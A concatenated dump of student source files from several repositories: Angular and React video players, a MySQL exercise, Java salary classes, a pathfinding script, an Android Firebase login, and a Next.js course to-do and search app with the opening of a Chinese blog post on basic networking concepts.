import { Observable, of } from 'rxjs';
import { catchError, map, tap } from 'rxjs/operators';
import { Video } from '../models/video.model';
import { Constants } from '../models/constant.model';
const httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json' })
};
@Injectable({
providedIn: 'root'
})
export class VideoService {
constructor(
private http: HttpClient,
) { }
public getVideos(): Observable<Video[]> {
return this.http.get<Video[]>(Constants.VIDEO_URL)
.pipe(
tap(_ => console.log('Got vidoes')),
catchError(this.handleError<Video[]>('getVideos', []))
);
}
public getVideo(id: number): Observable<Video> {
const url = `${Constants.VIDEO_URL}/${id}`;
return this.http.get<Video>(url)
.pipe(
tap(_ => console.log(`Got vidoes id=${id}`)),
catchError(this.handleError<Video>('getVideo'))
);
}
public addVideo(video: Video): Observable<any> {
return this.http.post(Constants.VIDEO_URL, video, httpOptions)
.pipe(
tap((newVideo: Video) => console.log(`Added video w/ id=${newVideo.id}`)),
catchError(this.handleError<any>('updateVideo'))
);
}
public updateVideo(video: Video): Observable<any> {
const id = typeof video === 'number' ? video : video.id;
const url = `${Constants.VIDEO_URL}/${id}`;
return this.http.put(url, video, httpOptions)
.pipe(
tap(_ => console.log(`Updated video id=${video.id}`)),
catchError(this.handleError<any>('updateVideo'))
);
}
public deleteVideo(video: Video | number): Observable<Video> {
const id = typeof video === 'number' ? video : video.id;
const url = `${Constants.VIDEO_URL}/${id}`;
return this.http.delete<Video>(url, httpOptions)
.pipe(
tap(_ => console.log(`Deleted video id=${id}`)),
catchError(this.handleError<Video>('deleteVideo'))
);
}
private handleError<T>(operation = 'operation', result?: T) {
return (error: any): Observable<T> => {
console.error(error); // log to console instead
return of(result as T);
};
}
}
<file_sep>/AngularVideoPlayer/src/app/services/player.service.ts
import { Injectable, Output, EventEmitter } from '@angular/core';
import { PlayerEvent, VideoPlayer } from '../models/player.model';
import { Video } from '../models/video.model';
@Injectable({
providedIn: 'root'
})
export class PlayerService {
/**
* Handling control events
*/
controlEvents: EventEmitter<PlayerEvent> = new EventEmitter();
/**
* Handling percentage update event during playing video.
*/
videoPercentageUpdateEvent: EventEmitter<number> = new EventEmitter();
/**
* Handling switching video event
*/
switchVideoEvent: EventEmitter<Video> = new EventEmitter();
constructor() { }
private videoPlayer: VideoPlayer = new VideoPlayer();
public get VideoPlayer(): VideoPlayer {
return this.videoPlayer;
}
public set VideoPlayer(value: VideoPlayer) {
this.videoPlayer = value;
}
public get Volume(): number {
return this.videoPlayer.volume;
}
public set Volume(value: number) {
this.videoPlayer.volume = parseFloat(value.toFixed(1));
}
public get VolumeDisplay(): string {
return this.videoPlayer.volume * 100 + '%';
}
}
<file_sep>/AngularVideoPlayer/src/app/modules/management/management.component.ts
import { Component, OnInit } from '@angular/core';
import { VideoService } from 'src/app/services/video.service';
import { Video } from 'src/app/models/video.model';
import { FormGroup, FormBuilder, FormControl, Validators } from '@angular/forms';
// import { NgbModal } from '@ng-bootstrap/ng-bootstrap';
@Component({
selector: 'app-management',
templateUrl: './management.component.html',
styleUrls: ['./management.component.scss']
})
export class ManagementComponent implements OnInit {
public videos: Video[];
isEditable = {};
public addVideoFormGroup: FormGroup;
constructor(
private videoService: VideoService,
private formBuilder: FormBuilder,
) { }
ngOnInit() {
this.loadVideos();
this.buildFormGroup();
}
// TODO Need to add validations
private buildFormGroup() {
this.addVideoFormGroup = this.formBuilder.group({
id: new FormControl('', [
Validators.required,
Validators.pattern('[0-9]*'),
]),
title: new FormControl('', Validators.required),
url: new FormControl('http://', [
Validators.required,
Validators.pattern(/https?:\/\/\w+/),
])
});
}
get id() { return this.addVideoFormGroup.get('id'); }
get title() { return this.addVideoFormGroup.get('title'); }
get url() { return this.addVideoFormGroup.get('url'); }
private loadVideos() {
this.videoService.getVideos().subscribe(
videos => this.videos = videos
);
}
delete(row, rowIndex) {
this.videoService.deleteVideo(row.id).subscribe(
() => this.loadVideos()
);
}
// Save row
save(row, rowIndex) {
this.isEditable[rowIndex] = !this.isEditable[rowIndex];
this.videoService.updateVideo(row).subscribe(
() => this.loadVideos()
);
}
addNewVideo() {
if (this.addVideoFormGroup.valid) {
const newVideo: Video = {
id: Number(this.getFormValue('id')),
title: this.getFormValue('title'),
url: this.getFormValue('url'),
like: 0,
unlike: 0
};
this.videoService.addVideo(newVideo).subscribe(
() => this.loadVideos()
);
this.addVideoFormGroup.reset({ url: 'http://' });
}
}
private getFormValue(controlName) {
return this.addVideoFormGroup.controls[controlName].value;
}
}
<file_sep>/AngularVideoPlayer/src/app/modules/controls/controls.component.ts
import { Component, OnInit, ElementRef, OnDestroy } from '@angular/core';
import { PlayerEvent, VideoPlayer } from 'src/app/models/player.model';
import { PlayerService } from 'src/app/services/player.service';
import { Subscription } from 'rxjs';
import { Video } from 'src/app/models/video.model';
import { VideoService } from 'src/app/services/video.service';
@Component({
selector: 'app-controls',
templateUrl: './controls.component.html',
styleUrls: ['./controls.component.scss']
})
export class ControlsComponent implements OnInit, OnDestroy {
public playerInstance: VideoPlayer;
// Set up default Video, will be overrided by loadFirstVideo()
public currentPlayingVideo: Video = new Video();
private videoPercentageUpdateEventSubscribe: Subscription;
private siwtchVideoEventSubscribe: Subscription;
constructor(
private el: ElementRef,
private playerService: PlayerService,
private videoService: VideoService,
) { }
ngOnInit() {
this.loadFirstVideo();
this.playerInstance = this.playerService.VideoPlayer;
this.playerInstance.volumeDisplay = '100%'; // Default volume
this.playerInstance.isMuted = true;
this.videoPercentageUpdateEventSubscribe = this.playerService.videoPercentageUpdateEvent
.subscribe((percentage: number) => {
const progressBar = this.el.nativeElement.querySelector('#progress-bar');
progressBar.setAttribute('style', 'width: ' + percentage + '%;');
progressBar.setAttribute('aria-valuenow', percentage);
progressBar.innerHTML = percentage + '% played';
});
// Subscribe the SwitchVideoEvent to set up number of `like` & `unlike`
this.siwtchVideoEventSubscribe = this.playerService.switchVideoEvent.subscribe((video: Video) => {
this.currentPlayingVideo = video;
});
}
private loadFirstVideo() {
this.videoService.getVideos().subscribe(
(videos: Video[]) => {
if (videos.length > 0) {
this.currentPlayingVideo = videos[0];
this.playerService.switchVideoEvent.emit(videos[0]); // Start to play
}
});
}
ngOnDestroy() {
this.videoPercentageUpdateEventSubscribe.unsubscribe();
this.siwtchVideoEventSubscribe.unsubscribe();
}
onPlay() {
this.playerService.controlEvents.emit(PlayerEvent.PLAY);
this.playerInstance.isPlaying = true;
}
onPause() {
this.playerService.controlEvents.emit(PlayerEvent.PAUSE);
this.playerInstance.isPlaying = false;
}
onMute() {
this.playerService.controlEvents.emit(PlayerEvent.MUTE);
this.playerInstance.isMuted = true;
}
onUnMute() {
this.playerService.controlEvents.emit(PlayerEvent.MUTE);
this.playerInstance.isMuted = false;
}
onStop() {
this.playerService.controlEvents.emit(PlayerEvent.STOP);
this.playerInstance.isPlaying = false;
}
onLike() {
this.currentPlayingVideo.like += 1;
this.videoService.updateVideo(this.currentPlayingVideo).subscribe(
(video) => this.currentPlayingVideo.like = video.like
);
}
onUnlike() {
this.currentPlayingVideo.unlike += 1;
this.videoService.updateVideo(this.currentPlayingVideo).subscribe(
(video) => this.currentPlayingVideo.unlike = video.unlike
);
}
onVolumeUp() {
this.playerService.controlEvents.emit(PlayerEvent.VOLUME_CHANGE);
this.changeVolume(true);
}
onVolumeDown() {
this.playerService.controlEvents.emit(PlayerEvent.VOLUME_CHANGE);
this.changeVolume(false);
}
private changeVolume(up: boolean) {
// Do not increase the volume if already 1.
// Do not decrease the volume if already 0.
if (
( up && this.playerService.Volume === 1)
||
(!up && this.playerService.Volume === 0)
) {
return;
}
const plusMinus = up ? 1 : -1;
const delta = 0.1 * plusMinus;
this.playerService.Volume += delta;
this.playerInstance.volumeDisplay = this.playerService.VolumeDisplay;
}
}
<file_sep>/react-video-player/src/components/Player.js
import React from 'react';
import emitter from "../services/playerService";
class Player extends React.Component {
videoPlayerRef = React.createRef();
constructor(props) {
super(props);
this.state = {
msg: null,
};
}
componentDidMount() {
this.eventEmitter = emitter.addListener("onPlay", () => {
this.videoPlayerRef.current.play();
}).addListener("onPause", () => {
this.videoPlayerRef.current.pause();
}).addListener("onStop", () => {
this.videoPlayerRef.current.pause();
this.videoPlayerRef.current.currentTime = 0;
}).addListener("onVolumeUp", (state) => {
this.videoPlayerRef.current.volume = state.volume;
}).addListener("onVolumeDown", (state) => {
this.videoPlayerRef.current.volume = state.volume;
}).addListener("onMute", () => {
this.videoPlayerRef.current.muted = true;
}).addListener("onUnMute", () => {
this.videoPlayerRef.current.muted = false;
}).addListener("switch", (video) => {
this.videoPlayerRef.current.src = video.url;
this.videoPlayerRef.current.play();
})
}
onTimeUpdate() {
const percentage = Math.floor((100 / this.videoPlayerRef.current.duration)
* this.videoPlayerRef.current.currentTime);
emitter.emit('timeupdate', percentage);
}
componentWillUnmount(){
emitter.removeListener(this.eventEmitter);
}
render() {
return (
<div className="playerWrapper">
{ this.state.msg }
<video loop autoPlay muted className="media-video"
onTimeUpdate={()=>this.onTimeUpdate()} ref={this.videoPlayerRef} >
<source src="http://vjs.zencdn.net/v/oceans.mp4" />
</video>
</div>
);
}
}
export default Player;<file_sep>/AngularVideoPlayer/src/app/modules/playlist/playlist.component.ts
import { Component, OnInit } from '@angular/core';
import { Video } from 'src/app/models/video.model';
import { VideoService } from 'src/app/services/video.service';
import { PlayerService } from 'src/app/services/player.service';
@Component({
selector: 'app-playlist',
templateUrl: './playlist.component.html',
styleUrls: ['./playlist.component.scss']
})
export class PlaylistComponent implements OnInit {
public videos: Video[];
constructor(
private videoService: VideoService,
private playerService: PlayerService) { }
ngOnInit() {
this.loadVideos();
}
private loadVideos() {
this.videoService.getVideos().subscribe(
videos => this.videos = videos
);
}
onPlay(video: Video) {
this.videoService.getVideo(video.id).subscribe(
respVideo => this.playerService.switchVideoEvent.emit(respVideo)
);
}
}
<file_sep>/007Mysql/Assignment7_2.sql
show databases;
create database if not exists testdb;
use testdb;
create table if not exists users(
user_id INT auto_increment comment 'userId PK',
username VARCHAR(256) NOT NULL,
email VARCHAR(256),
password VARCHAR(256) NOT NULL,
Primary Key (user_id),
UNIQUE KEY (username) USING BTREE
);
Select count(*) from relationship where (user_one_id = 1 and user_two_id = 2 and status = 1)
OR (user_one_id = 2 and user_two_id = 1 and status = 1);
Select count(*) from relationship where (user_one_id = 1 and user_two_id = 7 and status = 1)
OR (user_one_id = 7 and user_two_id = 1 and status = 1);
Select user_two_id from relationship where user_one_id = 1 and status = 1;
Select user_one_id from relationship where user_two_id = 1 and status = 1;
Select * from users where user_id in (
(Select user_two_id from relationship where user_one_id = 1 and status = 1)
UNION
(Select user_one_id from relationship where user_two_id = 1 and status = 1)
);
Select * from users where user_id in (
Select user_two_id from relationship where user_one_id = 1 and status = 1
)
OR user_id in (
Select user_one_id from relationship where user_two_id = 1 and status = 1
);
-- 6
select * from relationship where user_two_id = 1 and status = 0;
-- 7
select status from relationship where user_one_id = 1 and user_two_id = 7;
<file_sep>/SalaryPredictor/src/assignment4/Deduction.java
package assignment4;
import java.math.BigDecimal;
public class Deduction extends AbstractSalary {
private BigDecimal deductionAmount;
private int numberOfDeductions;
private BigDecimal deductionPercent;
public Deduction(double startingSalary, double deductionAmount, int numberOfDeductions) {
super(startingSalary);
this.deductionAmount = new BigDecimal(deductionAmount).setScale(2, BigDecimal.ROUND_HALF_UP);
this.numberOfDeductions = numberOfDeductions;
calcDeductionPerc();
}
private void calcDeductionPerc() {
deductionPercent = deductionAmount.multiply(HUNDRED).divide(startingSalary, 2, BigDecimal.ROUND_HALF_UP);
}
public int getNumberOfDeductions() {
return numberOfDeductions;
}
public BigDecimal getDeductionPercent() {
return deductionPercent;
}
public BigDecimal getDeductionAmount() {
return deductionAmount;
}
}
<file_sep>/react-video-player/src/VideoPlayer.js
import React from 'react';
import './VideoPlayer.css';
import Player from './components/Player';
import Controller from './components/Controller';
import Playerlist from './components/Playlist';
import Management from './components/Management';
class VideoPlayer extends React.Component {
render() {
return (
<div className="container">
<div className="container-fluid">
<div className="row">
<div className="col-lg-9">
<h2>React video player</h2>
<Player />
<Controller />
</div>
<div className="col-lg-3">
<Playerlist />
</div>
</div>
<Management />
</div>
</div>
);
}
}
export default VideoPlayer;<file_sep>/SalaryPredictor/src/assignment4/IncrementReport.java
package assignment4;
import java.util.ArrayList;
import java.util.List;
public class IncrementReport extends AbstractReport {
private Increment increment;
public IncrementReport(Increment increment, int year) {
super(year);
this.increment = increment;
addToHeader("Number of Increments");
addToHeader("Increment %");
addToHeader("Increment Amount");
}
public void print() {
incrLst.clear();
printDivider();
printHeader();
printDivider();
Increment currInc = increment;
for (int i = 0; i < year; i++) {
printLine(i + 1, currInc);
printDivider();
double nextSal = currInc.getStartingSalary().add(currInc.getIncrementAmount()).doubleValue();
currInc = new Increment(nextSal,
currInc.getIncrementPercent().doubleValue(),
currInc.getNumberOfIncrements());
}
}
private void printLine(int year, Increment incr) {
incrLst.add(incr);
printLine(year, new String[] {
incr.getStartingSalary().toString(),
String.valueOf(incr.getNumberOfIncrements()),
incr.getIncrementPercent().toPlainString(),
incr.getIncrementAmount().toPlainString(),
});
}
private List<Increment> incrLst = new ArrayList<>();
public List<Increment> getIncrements() {
return incrLst;
}
}
| 77dcda992a0d14c1f34333b374139587c4069da3 | [
"SQL",
"Markdown",
"JavaScript",
"Java",
"TypeScript"
] | 32 | Markdown | keenkit/FullStack | 73f25160bd11274400094a415474327850230a19 | 09ca0ed8884b7bafbd5e584ce89a47c3c76ebdf8 | |
refs/heads/master | <file_sep>const nodeList = require('./nodes.js');
var visited = {};
var unvisited = {};
for (var key in nodeList.obj) if (nodeList.obj.hasOwnProperty(key)) {
key = parseInt(key);
unvisited[key] = nodeList.obj[key];
unvisited[key].dist = Infinity;
}
//------------------------//
const start = 20;
const end = 12;
getPath(start, end);
//------------------------//
function getPath(s, e) {
unvisited[s].dist = 0;
next(s);
function next(n) {
if (n == e) return console.log('Reached end!');
let opts = {};
let dists = [];
console.log('N: ' + n);
unvisited[n].paths.forEach(sibling => {
if (visited[sibling]) return;
let dist = unvisited[n].dist + getDist(n, sibling);
unvisited[sibling].dist = dist;
opts[dist] = sibling;
dists.push(parseInt(dist));
});
visited[n] = unvisited[n];
delete unvisited[n];
if (dists.length != 0) {
console.log('NEXT (' + Math.min(...dists) + ')');
return next(opts[Math.min(...dists)]);
}
return console.log('Hit dead end!');
}
console.log(unvisited)
}
function getDist(n1, n2) {
return Math.abs(node(n1).x-node(n2).x) + Math.abs(node(n1).y-node(n2).y);
}
function node(id) {
return nodeList.obj[id] || null;
}
/*
function shortestDist(s, e) {
var totalDist = 0;
var pointsUsed = [];
next(s);
function next(point) {
const [closest, dist] = closestPoint(point);
totalDist+=dist;
pointsUsed.a
if (closest == e) return;
}
return totalDist;
}
function closestPoint(point) {
var close = {point: -1, dist: 0}
pointsArr.forEach(nxtPoint => {
if (point == nxtPoint.id) return;
console.log(nxtPoint);
let dist = getDist(point, nxtPoint.id);
if (close.point==-1 || dist < close.dist) close.point = nxtPoint.id, close.dist = dist;
});
return [close.point, close.dist];
}
function getDist(p1, p2) {
return Math.abs(points[p1].x-points[p2].x) + Math.abs(points[p1].y-points[p2].y);
}
function getPointAt(x, y) {
pointsArr.forEach(point => {
if (point.x==x && point.y==y) return key;
});
return null;
}
//------------------------//
//console.log(getDist(1, 11));
//console.log(getPointAt(15, 13));
//console.log(closestPoint(7));
*/
| c5daceac5886a1956da7595dc4f8beb19bcb5716 | [
"JavaScript"
] | 1 | JavaScript | Dance-Dog/Pathfinding-WIP | 83d6136c64fcd1f71dab88b3f520f79652933a93 | 545fa22cdfc5f5bcc4aaec949643a7bc2c0ce596 | |
refs/heads/master | <file_sep>package com.example.login;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.TextView;
import com.google.firebase.FirebaseApp;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
public class profileActivity extends AppCompatActivity {
private TextView email;
FirebaseAuth auth;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_profile);
FirebaseApp.initializeApp(profileActivity.this);
auth=FirebaseAuth.getInstance();
FirebaseUser user=auth.getCurrentUser();
email=findViewById(R.id.useremail);
email.setText("welcome"+user.getEmail());
}
}
| 8b100a5e0f345d2073547acbee88b3a5b11c1cd5 | [
"Java"
] | 1 | Java | aakankshaa23/simpleLogin-firebase- | fd774d07534c49646dbe0e05ef7bd13020396c97 | be134275d8a0cc6a7cc60a096b195c71e19cffb1 | |
refs/heads/main | <repo_name>You-Ting-Li/UT0903.github.io<file_sep>/components/todolist/functions/Data.js
const packet = {
failed: [],
info: [
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "Lab 1 Trace route concept and implementation",
due: "2021:03:25:23:59:59",
src_from: "cool",
},
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "Lab2 Security Wireless LANs",
due: "2021:04:22:23:59:59",
src_from: "cool",
},
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "Lab 3 SIMULATING SDN WITH MININET",
due: "2021:06:03:23:59:59",
src_from: "cool",
},
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "The Presentation of demonstration",
src_from: "cool",
},
{
course: "計算機網路實驗 ComputerNetwork Laboratory",
hw: "The Presentation of proposal",
due: "2021:05:20:11:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "心理學實驗參與加分證明上傳",
due: "2021:06:21:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "期中報告",
due: "2021:04:25:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "期末報告",
due: "2021:06:21:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第三週討論:注意力何時介入",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第二週討論:心靈的本質",
due: "2021:03:07:23:59:00",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第八週討論:化學的腦切除術",
due: "2021:04:18:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第六週討論:陳敬鎧案",
due: "2021:04:04:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十一週討論:記憶理論提問與回答",
due: "2021:05:09:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十三週討論:錯放罪犯 vs 錯抓無辜",
due: "2021:05:23:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十二週討論:情緒性事件的記憶",
due: "2021:05:16:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十五週討論:鏡子測驗",
due: "2021:06:06:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十六週討論:社會心理學問答",
due: "2021:06:13:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十四週討論:學習舉例",
due: "2021:05:30:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十週討論:心靈與大腦",
due: "2021:05:02:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第四週作業:object-based attention",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第四週討論:半邊忽略症",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "1-1-Tolman",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "1-2-Tolman",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "2-1-Donders",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW13 - Model Description",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW14",
due: "2021:07:02:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW15",
due: "2021:07:09:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW01 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW03 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW04 total score",
due: "2021:05:02:23:59:59",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW05 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW06 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW07 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW08 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW09",
due: "2021:05:28:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW10 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "GitHub account survey for JudgeBoi",
due: "2021:04:04:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02-1 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02-2 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW01 Code Submission",
due: "2021:03:28:23:59:59",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02 Code Submission",
due: "2021:04:04:23:59:59",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW03 Code Submission",
due: "2021:04:18:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW04 Code Submission",
due: "2021:04:18:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW05 Code Submission",
due: "2021:05:02:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW06 Code Submission",
due: "2021:05:16:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW07 Code Submission",
due: "2021:05:23:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW08 Code Submission",
due: "2021:05:23:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW10 Code Submission",
due: "2021:05:30:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW11 Code Submission",
due: "2021:06:13:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW12 Code Submission",
due: "2021:06:27:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW13 Code Submission",
due: "2021:07:04:23:59:59",
src_from: "cool",
},
{
course: "籃球中級",
hw: "影片欣賞",
due: "2021:06:02:17:00:00",
src_from: "ceiba",
},
{
course: "籃球中級",
hw: "影片欣賞2",
due: "2021:06:18:17:00:00",
src_from: "ceiba",
},
{
course: "一般醫學保健",
hw: "期末報告(一)",
due: "2021:06:03:00:00:00",
src_from: "ceiba",
},
{
course: "一般醫學保健",
hw: "期末報告(二)",
due: "2021:06:03:00:00:00",
src_from: "ceiba",
},
{
course: "一般醫學保健",
hw: "期末報告(三)",
due: "2021:06:03:00:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#1",
due: "2021:03:08:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#2",
due: "2021:03:15:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#3",
due: "2021:04:07:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#4",
due: "2021:04:22:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#5",
due: "2021:05:10:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#6",
due: "2021:05:20:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#7",
due: "2021:06:21:21:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw1",
due: "2021:03:16:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw2",
due: "2021:03:31:00:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw3",
due: "2021:04:20:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw4",
due: "2021:05:07:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw5",
due: "2021:05:18:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw6",
due: "2021:06:16:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "Final project PPT + Video",
due: "2021:06:13:00:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "Final project Report + Code",
due: "2021:06:30:00:00:00",
src_from: "ceiba",
},
],
};
// 2021/06/09 21/00/undefined undefined:undefined
const tidyUpDate = (dateString) => {
const tok = dateString.split(":");
return tok[0] + "/" + tok[1] + "/" + tok[2] + " " + tok[3] + ":" + tok[4];
};
const tidyUpData = (rawData) => {
const today = new Date();
const date = "2020:06:16:";
// const date = today.getFullYear() + ':' + (today.getMonth() + 1) + ':' + today.getDate() + ':';
const time = today.getHours() + ":" + today.getMinutes();
if (rawData) {
const validData = rawData.filter(
(data) => data.due === undefined || data.due > date + time
);
return validData.map((data, index) => {
data.key = index;
data.due = data.due ? tidyUpDate(data.due) : "";
return data;
});
}
return null;
};
const ReadyData = tidyUpData(packet.info);
export { ReadyData, tidyUpData, packet };
<file_sep>/components/search/SearchTable.js
/* eslint-disable react/display-name */
import React, { useState } from "react";
import "antd/dist/antd.css";
import { PlusSquareOutlined } from "@ant-design/icons";
import { Table, Space, Button } from "antd";
const MAX_COURSE_NUM = 10;
const SearchTable = ({
data,
selected,
setSelected,
setModalVisible,
displayStatus,
current,
total,
onPagechange,
}) => {
const pagenation = {
// pageSize: 50,
current: current,
total: total,
onChange: onPagechange,
pageSizeOptions: [10],
position: ["topRight", "bottomRight"],
showTotal: () => (
<div className="Search-button_wrap">
<Button
onClick={() => setModalVisible(true)}
type="primary"
disabled={selected.length <= 0}
>
刪除或查看已選課程
</Button>
</div>
),
};
const columns = [
{
title: "年份",
dataIndex: "semester",
key: "semester",
},
{
title: "流水號",
dataIndex: "id",
key: "id",
},
{
title: "課程名稱",
dataIndex: "class_name",
key: "class_name",
},
{
title: "學分",
dataIndex: "credit",
key: "credit",
},
{
title: "加選方式",
dataIndex: "reg_method",
key: "reg_method",
},
{
title: "課程識別碼",
dataIndex: "class_id",
key: "class_id",
},
{
title: "授課教師",
key: "teacher_name",
dataIndex: "teacher_name",
},
{
title: "",
key: "add",
width: "4%",
render: (record) => (
<Space size="middle">
<PlusSquareOutlined
onClick={() => {
// already in list
if (
selected.find(
(course) =>
course.semester === record.semester &&
course.id === record.id
)
) {
displayStatus({
type: "error",
msg: "此課程已存在於清單中",
});
return;
}
// out of maxima
if (selected.length >= MAX_COURSE_NUM) {
displayStatus({
type: "error",
msg: `已達課程清單上限 (${MAX_COURSE_NUM}堂)`,
});
return;
}
const newSelected = [...selected];
newSelected.push(record);
displayStatus({
type: "success",
msg: "成功加入此課程",
});
setSelected(newSelected);
}}
style={{ color: "#08c" }}
/>
</Space>
),
},
];
return (
<>
<div className="Search-table">
<Table
columns={columns}
dataSource={data}
bordered
pagination={pagenation}
scroll={{ y: 480 }}
/>
</div>
</>
);
};
export default SearchTable;
<file_sep>/public/posts/web-knowledge.md
title: 台大學生都應該要懂的網路基礎知識(特別是住宿生)
date: 2020-09-24
img: web-knowledge/main.webp
description: 身為宿舍網管,這篇整理了有關宿舍網路的基本知識
tags: 台大, 網管
+-+-+-+-
## 前言
每次都搞不懂網路的設定嗎?照著別人寫好的SOP做,還是不知道為什麼不能用?上網google設定網路的資料,卻都看不懂?不管你是文學院還是理學院,本科生還是非本科生,本篇用淺顯易懂的介紹與比喻,帶你了解大學生平常會遇到的網路問題,背後的原因與原理!
※本篇作為最基礎的觀念理解,所用的詞彙與敘述在專業領域上可能不甚精準,如果想追求完全正確的說法,歡迎自行google
## Ch1. 【從真實世界走入虛擬世界】 - IP、MAC與網卡
![](https://i.imgur.com/Wx4oHdS.jpg)
#### IP是什麼
**IP**就是網路虛擬世界中的**房屋門牌地址**,你**必須透過IP才有辦法在網路世界寄信給其他人、跟他溝通**。
IP是由一串長度為32的「數字0跟1」所組成的字串,如果你數學夠好的話,就可以知道這個字串的形式有「2的32次方」種可能,也就是全世界最多可以有「2的32次方」個不同的IP。
#### 網卡是什麼
網卡是一塊被設計用來允許電腦在電腦網路上進行通訊的電腦硬體,這是維基百科上面的解釋。
翻成白話文,它是電腦上的一塊零件,你必須要透過這塊零件才能連wifi(無線網路)、連有線網路等等;可以理解為讓你**從真實世界進入網路虛擬世界的橋樑**。
**每一張網卡都對應到一個MAC位址**,也就是它的ID;可以理解為**那座橋的名字**。
而**MAC位址**理應上要獨一無二,但事實上是**有可能重複**;如同台灣有這麼多座橋,也一定**有幾座剛好有同樣的名字**。
這邊要補充一下︰連wifi的是一張網卡,**如果你的電腦有可以接網路線的插孔,那它就會有另外一張網卡拿來連有線網路**;連無線網路就要走橋A,連有線網路就要走橋B。
再補充一點︰除了電腦,手機、**路由器**、**網路孔轉USB的轉接頭**上也都有網卡。
#### MAC位址(實體位址)是什麼
你要先理解網路卡(簡稱網卡)是什麼,然後**MAC位址就是那塊網卡的ID**。
### 到這裡,先整理一下網路世界與現實世界的對應關係
|**網路世界**|**現實世界**|
|--|--|
|IP|房屋門牌|
|網卡|從真實世界進入網路世界的橋樑|
|MAC位址|橋樑的名字|
### 你也可以歸納出幾個重點
* IP的數量是**有限的**
